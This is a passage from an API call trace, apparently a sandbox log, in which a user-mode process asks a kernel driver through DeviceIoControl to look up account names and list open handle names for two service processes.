0x3a [0113.378] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.378] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.378] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.378] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.378] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0113.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.379] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0113.379] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.379] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd2 [0113.379] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003120740 | out: TokenHandle=0xfffffa8003120740*=0xc8) returned 0x0 [0113.379] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.379] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.379] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.379] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.380] CloseHandle (hObject=0xc8) returned 1 [0113.380] CloseHandle (hObject=0xc0) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.380] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.380] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.380] PsAcquireProcessExitSynchronization () returned 0x0 [0113.380] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0) [0113.380] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0113.380] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.380] PsReleaseProcessExitSynchronization () returned 0x2 [0113.380] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0113.381] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.381] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0113.381] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.381] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.381] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.381] PsAcquireProcessExitSynchronization () returned 0x0 [0113.381] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0) [0113.381] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0113.381] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.381] PsReleaseProcessExitSynchronization () returned 0x2 [0113.381] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0113.381] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.381] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0113.381] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.381] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.381] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.381] PsAcquireProcessExitSynchronization () returned 0x0 [0113.381] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0) [0113.381] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0113.381] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.381] PsReleaseProcessExitSynchronization () returned 0x2 [0113.381] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0113.381] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.382] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0113.382] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.382] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.382] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.382] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.382] PsAcquireProcessExitSynchronization () returned 0x0 [0113.382] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0) [0113.382] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.382] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.382] PsReleaseProcessExitSynchronization () returned 0x2 [0113.382] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0113.382] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.382] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.382] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.382] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.382] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.382] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.382] PsAcquireProcessExitSynchronization () returned 0x0 [0113.382] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0) [0113.382] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.382] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.382] PsReleaseProcessExitSynchronization () returned 0x2 [0113.382] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0113.382] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.382] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.382] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.382] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.382] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.382] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.382] PsAcquireProcessExitSynchronization () returned 0x0 [0113.382] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880055905d0) [0113.383] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0113.383] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.383] PsReleaseProcessExitSynchronization () returned 0x2 [0113.383] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0113.383] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.383] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0113.383] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.383] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.383] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0113.383] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.383] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0113.383] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000aa4) returned 0x0 [0113.383] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb9 [0113.383] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000aa4, DesiredAccess=0x8, TokenHandle=0xfffffa8003120740 | out: TokenHandle=0xfffffa8003120740*=0xc8) returned 0x0 [0113.383] ZwClose (Handle=0xffffffff80000aa4) returned 0x0 [0113.383] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.383] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.383] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.385] CloseHandle (hObject=0xc8) returned 1 [0113.385] CloseHandle (hObject=0xc0) returned 1 [0113.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.385] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.385] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.385] PsAcquireProcessExitSynchronization () returned 0x0 [0113.385] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.385] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0113.385] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.385] PsReleaseProcessExitSynchronization () returned 0x2 [0113.385] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.385] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.385] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0113.385] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.385] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.385] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.385] PsAcquireProcessExitSynchronization () returned 0x0 [0113.385] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.385] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0113.385] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.385] PsReleaseProcessExitSynchronization () returned 0x2 [0113.385] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.385] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.385] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0113.385] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.385] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.385] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.385] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.385] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.386] PsAcquireProcessExitSynchronization () returned 0x0 [0113.386] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.386] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0113.386] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.386] PsReleaseProcessExitSynchronization () returned 0x2 [0113.386] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.386] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.386] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0113.386] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.386] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0113.386] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.386] PsAcquireProcessExitSynchronization () returned 0x0 [0113.386] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.386] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0113.386] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.386] PsReleaseProcessExitSynchronization () returned 0x2 [0113.386] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.386] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.386] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0113.386] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.386] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.386] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.386] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.386] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.386] PsAcquireProcessExitSynchronization () returned 0x0 [0113.386] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.386] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0113.386] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.386] PsReleaseProcessExitSynchronization () returned 0x2 [0113.387] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.387] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.387] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0113.387] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.387] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.387] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.387] PsAcquireProcessExitSynchronization () returned 0x0 [0113.387] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.387] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0113.387] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.387] PsReleaseProcessExitSynchronization () returned 0x2 [0113.387] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb7 [0113.387] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.387] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0113.387] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.387] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.387] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.387] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0113.387] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.387] PsAcquireProcessExitSynchronization () returned 0x0 [0113.387] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880055905d0) [0113.387] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: 